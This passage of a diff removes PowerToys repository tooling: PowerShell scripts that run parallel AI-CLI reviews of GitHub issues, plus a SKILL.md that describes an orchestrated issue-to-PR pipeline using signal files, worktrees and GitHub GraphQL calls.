# GitHub Copilot CLI via gh
$args = @(
'copilot', 'suggest',
'-t', 'shell',
"Review GitHub issue #$IssueNumber and generate analysis files"
)
return @{
Command = 'gh'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
'vscode' {
# VS Code with Copilot - open with prompt
$args = @(
'--new-window',
$WorkingDirectory,
'--goto', $tempPromptFile
)
return @{
Command = 'code'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
}
}
#endregion
#region Parallel Job Management
function Start-ParallelIssueReviews {
<#
.SYNOPSIS
Start parallel issue reviews with throttling.
.PARAMETER Issues
Array of issue objects to review.
.PARAMETER MaxConcurrent
Maximum number of parallel jobs. Default: 20.
.PARAMETER CLIType
CLI type to use for reviews.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER TimeoutMinutes
Timeout per issue in minutes. Default: 30.
.PARAMETER MaxRetryCount
Maximum number of retries for failed issues. Default: 2.
.PARAMETER RetryDelaySeconds
Delay between retries in seconds. Default: 10.
#>
param(
[Parameter(Mandatory)]
[array]$Issues,
[int]$MaxConcurrent = 20,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode')]
[string]$CLIType = 'copilot',
[Parameter(Mandatory)]
[string]$RepoRoot,
[int]$TimeoutMinutes = 30,
[int]$MaxRetryCount = 2,
[int]$RetryDelaySeconds = 10,
[string]$FeedbackContext,
[string]$Model
)
$totalIssues = $Issues.Count
$completed = 0
$failed = @()
$succeeded = @()
$retryQueue = [System.Collections.Queue]::new()
Info "Starting parallel review of $totalIssues issues (max $MaxConcurrent concurrent, $MaxRetryCount retries)"
# Use PowerShell jobs for parallelization
$jobs = @()
$issueQueue = [System.Collections.Queue]::new($Issues)
while ($issueQueue.Count -gt 0 -or $jobs.Count -gt 0 -or $retryQueue.Count -gt 0) {
# Process retry queue when main queue is empty
if ($issueQueue.Count -eq 0 -and $retryQueue.Count -gt 0 -and $jobs.Count -lt $MaxConcurrent) {
$retryItem = $retryQueue.Dequeue()
Warn "🔄 Retrying issue #$($retryItem.IssueNumber) (attempt $($retryItem.Attempt + 1)/$($MaxRetryCount + 1))"
Start-Sleep -Seconds $RetryDelaySeconds
$issueQueue.Enqueue(@{ number = $retryItem.IssueNumber; _retryAttempt = $retryItem.Attempt + 1 })
}
# Start new jobs up to MaxParallel
while ($jobs.Count -lt $MaxConcurrent -and $issueQueue.Count -gt 0) {
$issue = $issueQueue.Dequeue()
$issueNum = $issue.number
$retryAttempt = if ($issue._retryAttempt) { $issue._retryAttempt } else { 0 }
$attemptInfo = if ($retryAttempt -gt 0) { " (retry $retryAttempt)" } else { "" }
Info "Starting review for issue #$issueNum$attemptInfo ($($totalIssues - $issueQueue.Count)/$totalIssues)"
$job = Start-Job -Name "Issue-$issueNum" -ScriptBlock {
param($IssueNumber, $RepoRoot, $CLIType, $FeedbackCtx, $ModelOverride)
Set-Location $RepoRoot
# Import the library in the job context
. "$RepoRoot/.github/review-tools/IssueReviewLib.ps1"
try {
$reviewParams = @{
IssueNumber = $IssueNumber
RepoRoot = $RepoRoot
CLIType = $CLIType
}
if ($FeedbackCtx) {
$reviewParams.FeedbackContext = $FeedbackCtx
}
if ($ModelOverride) {
$reviewParams.Model = $ModelOverride
}
$reviewCmd = Invoke-AIReview @reviewParams
# Execute the command using invocation operator (works for .ps1 scripts and executables)
Set-Location $reviewCmd.WorkingDirectory
$argList = $reviewCmd.Arguments
# Capture both stdout and stderr for better error reporting
$output = & $reviewCmd.Command @argList 2>&1
$exitCode = $LASTEXITCODE
# Get last 20 lines of output for error context
$outputLines = $output | Out-String
$lastLines = ($outputLines -split "`n" | Select-Object -Last 20) -join "`n"
# Check if output files were created (success indicator)
$overviewPath = Join-Path $RepoRoot "Generated Files/issueReview/$IssueNumber/overview.md"
$implPlanPath = Join-Path $RepoRoot "Generated Files/issueReview/$IssueNumber/implementation-plan.md"
$filesCreated = (Test-Path $overviewPath) -and (Test-Path $implPlanPath)
return @{
IssueNumber = $IssueNumber
Success = ($exitCode -eq 0) -or $filesCreated
ExitCode = $exitCode
FilesCreated = $filesCreated
Output = $lastLines
Error = if ($exitCode -ne 0 -and -not $filesCreated) { "Exit code: $exitCode`n$lastLines" } else { $null }
}
}
catch {
return @{
IssueNumber = $IssueNumber
Success = $false
ExitCode = -1
FilesCreated = $false
Output = $null
Error = $_.Exception.Message
}
}
} -ArgumentList $issueNum, $RepoRoot, $CLIType, $FeedbackContext, $Model
$jobs += @{
Job = $job
IssueNumber = $issueNum
StartTime = Get-Date
RetryAttempt = $retryAttempt
}
}
# Check for completed jobs
$completedJobs = @()
foreach ($jobInfo in $jobs) {
$job = $jobInfo.Job
$issueNum = $jobInfo.IssueNumber
$startTime = $jobInfo.StartTime
$retryAttempt = $jobInfo.RetryAttempt
if ($job.State -eq 'Completed') {
$result = Receive-Job -Job $job
Remove-Job -Job $job -Force
if ($result.Success) {
Success "✓ Issue #$issueNum completed (files created: $($result.FilesCreated))"
$succeeded += $issueNum
$completed++
} else {
# Check if we should retry
if ($retryAttempt -lt $MaxRetryCount) {
$errorPreview = if ($result.Error) { ($result.Error -split "`n" | Select-Object -First 3) -join " | " } else { "Unknown error" }
Warn "⚠ Issue #$issueNum failed (will retry): $errorPreview"
$retryQueue.Enqueue(@{ IssueNumber = $issueNum; Attempt = $retryAttempt; LastError = $result.Error })
} else {
$errorMsg = if ($result.Error) { $result.Error } else { "Exit code: $($result.ExitCode)" }
Err "✗ Issue #$issueNum failed after $($retryAttempt + 1) attempts:"
Err " Error: $errorMsg"
$failed += @{ IssueNumber = $issueNum; Error = $errorMsg; Attempts = $retryAttempt + 1 }
$completed++
}
}
$completedJobs += $jobInfo
}
elseif ($job.State -eq 'Failed') {
$jobError = $job.ChildJobs[0].JobStateInfo.Reason.Message
Remove-Job -Job $job -Force
if ($retryAttempt -lt $MaxRetryCount) {
Warn "⚠ Issue #$issueNum job crashed (will retry): $jobError"
$retryQueue.Enqueue(@{ IssueNumber = $issueNum; Attempt = $retryAttempt; LastError = $jobError })
} else {
Err "✗ Issue #$issueNum job failed after $($retryAttempt + 1) attempts: $jobError"
$failed += @{ IssueNumber = $issueNum; Error = $jobError; Attempts = $retryAttempt + 1 }
$completed++
}
$completedJobs += $jobInfo
}
elseif ((Get-Date) - $startTime -gt [TimeSpan]::FromMinutes($TimeoutMinutes)) {
Stop-Job -Job $job -ErrorAction SilentlyContinue
Remove-Job -Job $job -Force
if ($retryAttempt -lt $MaxRetryCount) {
Warn "⏱ Issue #$issueNum timed out after $TimeoutMinutes min (will retry)"
$retryQueue.Enqueue(@{ IssueNumber = $issueNum; Attempt = $retryAttempt; LastError = "Timeout after $TimeoutMinutes minutes" })
} else {
Err "⏱ Issue #$issueNum timed out after $($retryAttempt + 1) attempts"
$failed += @{ IssueNumber = $issueNum; Error = "Timeout after $TimeoutMinutes minutes"; Attempts = $retryAttempt + 1 }
$completed++
}
$completedJobs += $jobInfo
}
}
# Remove completed jobs from active list
$jobs = $jobs | Where-Object { $_ -notin $completedJobs }
# Brief pause to avoid tight loop
if ($jobs.Count -gt 0) {
Start-Sleep -Seconds 2
}
}
# Extract just issue numbers for the failed list
$failedNumbers = $failed | ForEach-Object { $_.IssueNumber }
return @{
Total = $totalIssues
Succeeded = $succeeded
Failed = $failedNumbers
FailedDetails = $failed
}
}
#endregion
#region Issue Review Results Helpers
function Get-IssueReviewResult {
<#
.SYNOPSIS
Check if an issue has been reviewed and get its results.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$RepoRoot
)
$reviewPath = Get-IssueReviewPath -RepoRoot $RepoRoot -IssueNumber $IssueNumber
$result = @{
IssueNumber = $IssueNumber
Path = $reviewPath
HasOverview = $false
HasImplementationPlan = $false
OverviewPath = $null
ImplementationPlanPath = $null
}
$overviewPath = Join-Path $reviewPath 'overview.md'
$implPlanPath = Join-Path $reviewPath 'implementation-plan.md'
if (Test-Path $overviewPath) {
$result.HasOverview = $true
$result.OverviewPath = $overviewPath
}
if (Test-Path $implPlanPath) {
$result.HasImplementationPlan = $true
$result.ImplementationPlanPath = $implPlanPath
}
return $result
}
function Get-HighConfidenceIssues {
<#
.SYNOPSIS
Find issues with high confidence for auto-fix based on review results.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER MinFeasibilityScore
Minimum Technical Feasibility score (0-100). Default: 70.
.PARAMETER MinClarityScore
Minimum Requirement Clarity score (0-100). Default: 60.
.PARAMETER MaxEffortDays
Maximum effort estimate in days. Default: 2 (S = Small).
.PARAMETER FilterIssueNumbers
Optional array of issue numbers to filter to. If specified, only these issues are considered.
#>
param(
[Parameter(Mandatory)]
[string]$RepoRoot,
[int]$MinFeasibilityScore = 70,
[int]$MinClarityScore = 60,
[int]$MaxEffortDays = 2,
[int[]]$FilterIssueNumbers = @()
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
$reviewDir = Join-Path $genFiles 'issueReview'
if (-not (Test-Path $reviewDir)) {
return @()
}
$highConfidence = @()
Get-ChildItem -Path $reviewDir -Directory | ForEach-Object {
$issueNum = [int]$_.Name
# Skip if filter is specified and this issue is not in the filter list
if ($FilterIssueNumbers.Count -gt 0 -and $issueNum -notin $FilterIssueNumbers) {
return
}
$overviewPath = Join-Path $_.FullName 'overview.md'
$implPlanPath = Join-Path $_.FullName 'implementation-plan.md'
if (-not (Test-Path $overviewPath) -or -not (Test-Path $implPlanPath)) {
return
}
# Parse overview.md to extract scores
$overview = Get-Content $overviewPath -Raw
# Extract scores using regex (looking for score table or inline scores)
$feasibility = 0
$clarity = 0
$effortDays = 999
# Try to extract from At-a-Glance Score Table
if ($overview -match 'Technical Feasibility[^\d]*(\d+)/100') {
$feasibility = [int]$Matches[1]
}
if ($overview -match 'Requirement Clarity[^\d]*(\d+)/100') {
$clarity = [int]$Matches[1]
}
# Match effort formats like "0.5-1 day", "1-2 days", "2-3 days" - extract the upper bound
if ($overview -match 'Effort Estimate[^|]*\|\s*[\d.]+(?:-(\d+))?\s*days?') {
if ($Matches[1]) {
$effortDays = [int]$Matches[1]
} elseif ($overview -match 'Effort Estimate[^|]*\|\s*(\d+)\s*days?') {
$effortDays = [int]$Matches[1]
}
}
# Also check for XS/S sizing in the table (e.g., "| XS |" or "| S |" or "(XS)" or "(S)")
if ($overview -match 'Effort Estimate[^|]*\|[^|]*\|\s*(XS|S)\b') {
# XS = 1 day, S = 2 days
if ($Matches[1] -eq 'XS') {
$effortDays = 1
} else {
$effortDays = 2
}
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(XS\)') {
$effortDays = 1
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(S\)') {
$effortDays = 2
}
if ($feasibility -ge $MinFeasibilityScore -and
$clarity -ge $MinClarityScore -and
$effortDays -le $MaxEffortDays) {
$highConfidence += @{
IssueNumber = $issueNum
FeasibilityScore = $feasibility
ClarityScore = $clarity
EffortDays = $effortDays
OverviewPath = $overviewPath
ImplementationPlanPath = $implPlanPath
}
}
}
return $highConfidence | Sort-Object -Property FeasibilityScore -Descending
}
#endregion
#region Worktree Integration
function Copy-IssueReviewToWorktree {
<#
.SYNOPSIS
Copy the Generated Files for an issue to a worktree.
.PARAMETER IssueNumber
The issue number.
.PARAMETER SourceRepoRoot
Source repository root (main repo).
.PARAMETER WorktreePath
Destination worktree path.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$SourceRepoRoot,
[Parameter(Mandatory)]
[string]$WorktreePath
)
$sourceReviewPath = Get-IssueReviewPath -RepoRoot $SourceRepoRoot -IssueNumber $IssueNumber
$destReviewPath = Get-IssueReviewPath -RepoRoot $WorktreePath -IssueNumber $IssueNumber
if (-not (Test-Path $sourceReviewPath)) {
throw "Issue review files not found at: $sourceReviewPath"
}
Ensure-DirectoryExists -Path $destReviewPath
# Copy all files from the issue review folder
Copy-Item -Path "$sourceReviewPath\*" -Destination $destReviewPath -Recurse -Force
Info "Copied issue review files to: $destReviewPath"
return $destReviewPath
}
#endregion
# Note: This script is dot-sourced, not imported as a module.
# All functions above are available after: . "path/to/IssueReviewLib.ps1"

View File

@@ -1,291 +0,0 @@
<#!
.SYNOPSIS
Bulk review GitHub issues using AI CLI (Claude Code or GitHub Copilot).
.DESCRIPTION
Queries GitHub issues by labels, state, and sort order, then kicks off parallel
AI-powered reviews for each issue. Results are stored in Generated Files/issueReview/<number>/.
.PARAMETER Labels
Comma-separated list of labels to filter issues (e.g., "bug,help wanted").
.PARAMETER State
Issue state: open, closed, or all. Default: open.
.PARAMETER Sort
Sort field: created, updated, comments, reactions. Default: created.
.PARAMETER Order
Sort order: asc or desc. Default: desc.
.PARAMETER Limit
Maximum number of issues to process. Default: 100.
.PARAMETER MaxConcurrent
Maximum parallel review jobs. Default: 20.
.PARAMETER CLIType
AI CLI to use: claude, gh-copilot, or vscode. Auto-detected if not specified.
.PARAMETER DryRun
List issues without starting reviews.
.PARAMETER SkipExisting
Skip issues that already have review files.
.PARAMETER Repository
Repository in owner/repo format. Default: microsoft/PowerToys.
.PARAMETER TimeoutMinutes
Timeout per issue review in minutes. Default: 30.
.EXAMPLE
# Review all open bugs sorted by reactions
./Start-BulkIssueReview.ps1 -Labels "bug" -Sort reactions -Order desc
.EXAMPLE
# Dry run to see which issues would be reviewed
./Start-BulkIssueReview.ps1 -Labels "help wanted" -DryRun
.EXAMPLE
# Review top 50 issues with Claude Code, max 10 parallel
./Start-BulkIssueReview.ps1 -Labels "Issue-Bug" -Limit 50 -MaxConcurrent 10 -CLIType claude
.EXAMPLE
# Skip already-reviewed issues
./Start-BulkIssueReview.ps1 -Labels "Issue-Feature" -SkipExisting
.NOTES
Requires: GitHub CLI (gh) authenticated, and either Claude Code CLI or VS Code with Copilot.
Results: Generated Files/issueReview/<issue_number>/overview.md and implementation-plan.md
#>
[CmdletBinding()]
param(
[Parameter(Position = 0)]
[string]$Labels,
[ValidateSet('open', 'closed', 'all')]
[string]$State = 'open',
[ValidateSet('created', 'updated', 'comments', 'reactions')]
[string]$Sort = 'created',
[ValidateSet('asc', 'desc')]
[string]$Order = 'desc',
[int]$Limit = 1000,
[int]$MaxConcurrent = 20,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode', 'auto')]
[string]$CLIType = 'auto',
[switch]$DryRun,
[switch]$SkipExisting,
[string]$Repository = 'microsoft/PowerToys',
[int]$TimeoutMinutes = 30,
[int]$MaxRetryCount = 2,
[int]$RetryDelaySeconds = 10,
[switch]$Force,
[int]$IssueNumber,
[int[]]$IssueNumbers,
[string]$FeedbackFile,
[string]$Model,
[switch]$Help
)
# Load library
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. "$scriptDir/IssueReviewLib.ps1"
# Show help
if ($Help) {
Get-Help $MyInvocation.MyCommand.Path -Full
return
}
#region Main Script
try {
# Get repo root
$repoRoot = Get-RepoRoot
Info "Repository root: $repoRoot"
# Detect or validate CLI
if ($CLIType -eq 'auto') {
$cli = Get-AvailableCLI
if (-not $cli) {
throw "No AI CLI found. Please install Claude Code CLI or GitHub Copilot CLI extension."
}
$CLIType = $cli.Type
Info "Auto-detected CLI: $($cli.Name)"
}
# Load feedback context if provided
$feedbackContext = $null
if ($FeedbackFile -and (Test-Path $FeedbackFile)) {
$feedbackContext = Get-Content $FeedbackFile -Raw
Info "Loaded feedback from: $FeedbackFile"
}
elseif ($FeedbackFile) {
Warn "Feedback file not found: $FeedbackFile (proceeding without feedback)"
}
# Determine issue list: explicit IssueNumber(s) take priority over label query
if ($IssueNumber -gt 0) {
Info "`nUsing single issue: #$IssueNumber"
$issues = @(@{ number = $IssueNumber })
}
elseif ($IssueNumbers -and $IssueNumbers.Count -gt 0) {
Info "`nUsing explicit issue list: $($IssueNumbers -join ', ')"
$issues = $IssueNumbers | ForEach-Object { @{ number = $_ } }
}
else {
# Query issues from GitHub
Info "`nQuerying issues with filters:"
Info " Labels: $(if ($Labels) { $Labels } else { '(none)' })"
Info " State: $State"
Info " Sort: $Sort $Order"
Info " Limit: $Limit"
$issues = Get-GitHubIssues -Labels $Labels -State $State -Sort $Sort -Order $Order -Limit $Limit -Repository $Repository
}
if ($issues.Count -eq 0) {
Warn "No issues found matching the criteria."
return
}
Info "`nFound $($issues.Count) issues"
# Filter out existing reviews if requested
if ($SkipExisting) {
$originalCount = $issues.Count
$issues = $issues | Where-Object {
$result = Get-IssueReviewResult -IssueNumber $_.number -RepoRoot $repoRoot
-not ($result.HasOverview -and $result.HasImplementationPlan)
}
$skipped = $originalCount - $issues.Count
if ($skipped -gt 0) {
Info "Skipping $skipped issues with existing reviews"
}
}
if ($issues.Count -eq 0) {
Warn "All issues already have reviews. Nothing to do."
return
}
# Display issue list
Info "`nIssues to review:"
Info ("-" * 80)
foreach ($issue in $issues) {
$labels = ($issue.labels | ForEach-Object { $_.name }) -join ', '
$reactions = if ($issue.reactions) { $issue.reactions.totalCount } else { 0 }
Info ("#{0,-6} {1,-50} [👍{2}] [{3}]" -f $issue.number, ($issue.title.Substring(0, [Math]::Min(50, $issue.title.Length))), $reactions, $labels)
}
Info ("-" * 80)
if ($DryRun) {
Warn "`nDry run mode - no reviews started."
Info "Would review $($issues.Count) issues with CLI: $CLIType"
return
}
# Confirm before proceeding (skip if -Force)
if (-not $Force) {
$confirm = Read-Host "`nProceed with reviewing $($issues.Count) issues using $CLIType? (y/N)"
if ($confirm -notmatch '^[yY]') {
Info "Cancelled."
return
}
} else {
Info "`nProceeding with $($issues.Count) issues (Force mode)"
}
# Create output directory
$genFiles = Get-GeneratedFilesPath -RepoRoot $repoRoot
Ensure-DirectoryExists -Path (Join-Path $genFiles 'issueReview')
# Start parallel reviews
Info "`nStarting bulk review..."
Info " Max retries: $MaxRetryCount (delay: ${RetryDelaySeconds}s)"
$startTime = Get-Date
$results = Start-ParallelIssueReviews `
-Issues $issues `
-MaxConcurrent $MaxConcurrent `
-CLIType $CLIType `
-RepoRoot $repoRoot `
-TimeoutMinutes $TimeoutMinutes `
-MaxRetryCount $MaxRetryCount `
-RetryDelaySeconds $RetryDelaySeconds `
-FeedbackContext $feedbackContext `
-Model $Model
$duration = (Get-Date) - $startTime
# Summary
Info "`n" + ("=" * 80)
Info "BULK REVIEW COMPLETE"
Info ("=" * 80)
Info "Total issues: $($results.Total)"
Success "Succeeded: $($results.Succeeded.Count)"
if ($results.Failed.Count -gt 0) {
Err "Failed: $($results.Failed.Count)"
Err "Failed issues: $($results.Failed -join ', ')"
Info ""
Info "Failed Issue Details:"
Info ("-" * 40)
foreach ($failedItem in $results.FailedDetails) {
Err " #$($failedItem.IssueNumber) (attempts: $($failedItem.Attempts)):"
$errorLines = ($failedItem.Error -split "`n" | Select-Object -First 5) -join "`n "
Err " $errorLines"
}
Info ("-" * 40)
}
Info "Duration: $($duration.ToString('hh\:mm\:ss'))"
Info "Output: $genFiles/issueReview/"
Info ("=" * 80)
# Write signal file for each issue processed
foreach ($issueNum in $results.Succeeded) {
$signalPath = Join-Path $genFiles "issueReview/$issueNum/.signal"
@{
status = "success"
issueNumber = $issueNum
timestamp = (Get-Date).ToString("o")
outputs = @("overview.md", "implementation-plan.md")
} | ConvertTo-Json | Set-Content $signalPath -Force
Info "Signal: $signalPath"
}
foreach ($issueNum in $results.Failed) {
$signalPath = Join-Path $genFiles "issueReview/$issueNum/.signal"
$failDetail = $results.FailedDetails | Where-Object { $_.IssueNumber -eq $issueNum }
@{
status = "failure"
issueNumber = $issueNum
timestamp = (Get-Date).ToString("o")
error = $failDetail.Error
} | ConvertTo-Json | Set-Content $signalPath -Force
}
# Return results for pipeline
return $results
}
catch {
Err "Error: $($_.Exception.Message)"
exit 1
}
#endregion

View File

@@ -1,21 +0,0 @@
MIT License
Copyright (c) Microsoft Corporation.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,287 +0,0 @@
---
name: issue-to-pr-cycle
description: End-to-end orchestration from issue analysis to PR creation and review. This skill is the ORCHESTRATION BRAIN that invokes other skills via CLI and performs VS Code MCP operations directly.
license: Complete terms in LICENSE.txt
---
# Issue-to-PR Full Cycle Skill
**ORCHESTRATION BRAIN** - coordinates other skills and performs VS Code MCP operations.
## Skill Contents
```
.github/skills/issue-to-pr-cycle/
├── SKILL.md # This file (orchestration brain)
├── LICENSE.txt # MIT License
└── scripts/
├── Get-CycleStatus.ps1 # Check status of issues/PRs
├── IssueReviewLib.ps1 # Shared helpers
└── Start-FullIssueCycle.ps1 # Legacy script (phases A-C)
```
**Orchestrates these skills:**
| Skill | Purpose |
|-------|---------|
| `issue-review` | Analyze issues, generate implementation plans |
| `issue-review-review` | Validate review quality, loop until score ≥ 90 |
| `issue-fix` | Create worktrees, apply fixes, create PRs |
| `pr-review` | Comprehensive PR review (13 steps) |
| `pr-fix` | Fix review comments, resolve threads |
## Prerequisites
- GitHub CLI (`gh`) installed and authenticated
- Copilot CLI or Claude CLI installed
- PowerShell 7+
- VS Code with MCP tools (for write operations)
## Required Variables
| Variable | Description | Example |
|----------|-------------|---------|
| `{{IssueNumbers}}` | Issue numbers to process | `45363, 45364` |
| (or) `{{PRNumbers}}` | PR numbers for review/fix loop | `45365, 45366` |
## How This Skill Works
The orchestrator:
1. **Invokes skills via CLI** - kicks off `copilot` CLI (not `gh copilot`) to run each skill
2. **Runs in parallel** - use PowerShell 7 `ForEach-Object -Parallel` in SINGLE terminal
3. **Waits for signals** - polls for `.signal` files indicating completion
4. **Performs VS Code MCP directly** - for operations that require write access (request reviewer, resolve threads)
## Quality Gates (CRITICAL)
**Every PR must pass these quality checks before creation:**
1. **Real Implementation** - NO placeholder/stub code
- Files must contain actual working code
- Empty classes like `class FixXXX { }` are FORBIDDEN
2. **Proper PR Title** - Follow Conventional Commits
- Use `.github/prompts/create-commit-title.prompt.md`
- Format: `feat(module): description` or `fix(module): description`
- NEVER use generic titles like "fix: address issue #12345"
3. **Full PR Description** - Based on actual diff
- Use `.github/prompts/create-pr-summary.prompt.md`
- Run `git diff main...HEAD` to analyze changes
- Fill PR template with real information
4. **Build Verification** - Code must compile
- Run `tools/build/build.cmd` in worktree
- Exit code 0 = success
### Checking Worktree Quality
```powershell
# Check if worktree has real implementation (not stubs)
$files = git diff main --name-only
foreach ($file in $files) {
if ($file -match "src/common/fixes/Fix\d+\.cs") {
Write-Error "STUB FILE DETECTED: $file - Need real implementation"
}
}
```
## Signal Files
Each skill produces a `.signal` file when complete:
| Skill | Signal Location | Status Values |
|-------|-----------------|---------------|
| `issue-review` | `Generated Files/issueReview/<issue>/.signal` | `success`, `failure` |
| `issue-review-review` | `Generated Files/issueReviewReview/<issue>/.signal` | `success`, `failure` |
| `issue-fix` | `Generated Files/issueFix/<issue>/.signal` | `success`, `failure` |
| `pr-review` | `Generated Files/prReview/<pr>/.signal` | `success`, `failure` |
| `pr-fix` | `Generated Files/prFix/<pr>/.signal` | `success`, `partial`, `failure` |
Signal format:
```json
{
"status": "success",
"issueNumber": 45363,
"timestamp": "2026-02-04T10:05:23Z"
}
```
## Architecture
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ ORCHESTRATOR (this skill, VS Code agent) │
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ issue-review│◄─┤issue-review- │ │ issue-fix │ │
│ │ (CLI) │ │review (CLI) │ │ (CLI) │ │
│ └──────┬──────┘ │ loop until ≥90 │ └──────┬──────┘ │
│ │ └────────┬─────────┘ │ │
│ └────────►─────────┘ │ │
│ │ │
│ ┌─────────────┐ ┌─────────────┐ │ │
│ │ pr-review │ │ pr-fix │ │ │
│ │ (CLI) │ │ (CLI) │ │ │
│ └──────┬──────┘ └──────┬──────┘ │ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Signal Files (Generated Files/*/.signal) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ VS Code MCP Operations (orchestrator executes directly): │
│ - mcp_github_request_copilot_review │
│ - gh api graphql (resolve threads) │
│ - Post review comments │
└─────────────────────────────────────────────────────────────────────────────┘
```
## Workflow
### Phase A: Issue Review
Use the orchestration script instead of inline commands:
```powershell
.github/skills/issue-to-pr-cycle/scripts/Start-FullIssueCycle.ps1 -IssueNumbers 45363,45364
```
### Phase A2: Review-Review Loop (Quality Gate)
After issue-review completes, validate the review quality. Loop until quality score ≥ 90 or max iterations reached.
**A2.1: Run review-review**
```powershell
.github/skills/issue-review-review/scripts/Start-IssueReviewReviewParallel.ps1 -IssueNumbers 45363,45364 -CLIType copilot -ThrottleLimit 5 -Force
```
**A2.2: Check signals**
```powershell
# For each issue, check the review-review signal
$signal = Get-Content "Generated Files/issueReviewReview/45363/.signal" | ConvertFrom-Json
# If signal.needsReReview is true (qualityScore < 90), re-run issue-review with feedback
```
**A2.3: Re-run issue-review with feedback (if needed)**
```powershell
# Re-run issue-review, passing the reviewTheReview.md feedback file
.github/skills/issue-review/scripts/Start-BulkIssueReview.ps1 -IssueNumber 45363 -FeedbackFile "Generated Files/issueReviewReview/45363/reviewTheReview.md" -Force
```
**A2.4: Loop** — Go back to A2.1 until:
- All issues have quality score ≥ 90, OR
- Maximum 3 iterations reached per issue
### Phase B: Issue Fix
Use the parallel runner script:
```powershell
.github/skills/issue-fix/scripts/Start-IssueFixParallel.ps1 -IssueNumbers 45363,45364 -CLIType copilot -ThrottleLimit 5 -Force
```
### Phase C: PR Review
Use the pr-review script for each PR, or run the full cycle script to orchestrate:
```powershell
.github/skills/pr-review/scripts/Start-PRReviewWorkflow.ps1 -PRNumber 45392
```
### Phase D: Review/Fix Loop (VS Code Agent Orchestrated)
This phase requires the VS Code agent to:
**D1: Request Copilot review (VS Code MCP)**
```
mcp_github_request_copilot_review:
owner: microsoft
repo: PowerToys
pullNumber: {{PRNumber}}
```
**D2: Invoke pr-review skill (CLI, parallel)**
```powershell
gh copilot -p "Run skill pr-review for PR #{{PRNumber}}"
# Wait for: Generated Files/prReview/{{PRNumber}}/.signal
```
**D3: Check results**
- Read `Generated Files/prReview/{{PRNumber}}/00-OVERVIEW.md`
- Query unresolved threads via GraphQL
**D4: Post comments (VS Code MCP) - if medium+ severity**
**D5: Invoke pr-fix skill in WORKTREE (CLI)**
```powershell
# Find worktree for this PR's branch
$branch = (gh pr view {{PRNumber}} --json headRefName -q .headRefName)
$worktree = git worktree list --porcelain | Select-String "worktree.*$branch" | ...
# Run fix in worktree
cd $worktreePath
gh copilot -p "Run skill pr-fix for PR #{{PRNumber}}"
# Wait for: Generated Files/prFix/{{PRNumber}}/.signal
```
**D6: Resolve threads (VS Code MCP)**
```powershell
# Get thread IDs
gh api graphql -f query='query { repository(owner:"microsoft",name:"PowerToys") {
pullRequest(number:{{PRNumber}}) { reviewThreads(first:50) { nodes { id isResolved } } }
} }'
# Resolve each (VS Code agent executes this)
gh api graphql -f query='mutation { resolveReviewThread(input:{threadId:"{{ID}}"}) { thread { isResolved } } }'
```
**D7: Loop**
- If unresolved issues remain → go to D2
- If all clear → done
## Timeout Handling
Default timeout: 10 minutes per skill invocation.
If no signal file appears within timeout:
1. Check if the skill process is still running
2. If hung, terminate and mark as `timeout`
3. Log failure and continue with other items
## Parallel Execution (CRITICAL)
**DO NOT spawn separate terminals for each operation.** Use the dedicated scripts to run parallel work from a single terminal:
```powershell
# Issue fixes in parallel
.github/skills/issue-fix/scripts/Start-IssueFixParallel.ps1 -IssueNumbers 28726,13336,27507,3054,37800 -CLIType copilot -Model gpt-5.2-codex -ThrottleLimit 5 -Force
# PR fixes in parallel
.github/skills/pr-fix/scripts/Start-PRFixParallel.ps1 -PRNumbers 45256,45257,45285,45286 -CLIType copilot -Model gpt-5.2-codex -ThrottleLimit 3 -Force
```
## Worktree Mapping
The orchestrator must track which worktree belongs to which issue/PR:
```powershell
# Get all worktrees
$worktrees = git worktree list --porcelain | Select-String "worktree|branch" |
ForEach-Object { $_.Line }
# Parse into mapping
# Q:\PowerToys-ab12 → issue/44044
# Q:\PowerToys-cd34 → issue/32950
# Find worktree for issue
$issueNum = 45363
$worktreeLine = git worktree list | Select-String "issue/$issueNum"
$worktreePath = ($worktreeLine -split '\s+')[0]
```
## When to Use This Skill
- Process multiple issues end-to-end
- Automate the full issue → PR → review → fix cycle
- Batch process high-confidence issues
- Run continuous review/fix loops until clean

View File

@@ -1,370 +0,0 @@
<#
.SYNOPSIS
Get the current status of issues/PRs in the issue-to-PR cycle.
.DESCRIPTION
Checks the status of:
- Issue review completion (has overview.md + implementation-plan.md)
- Issue fix completion (has worktree + commits)
- PR creation status (has open PR)
- PR review status (has review files)
- PR active comments count
.PARAMETER IssueNumbers
Array of issue numbers to check status for.
.PARAMETER PRNumbers
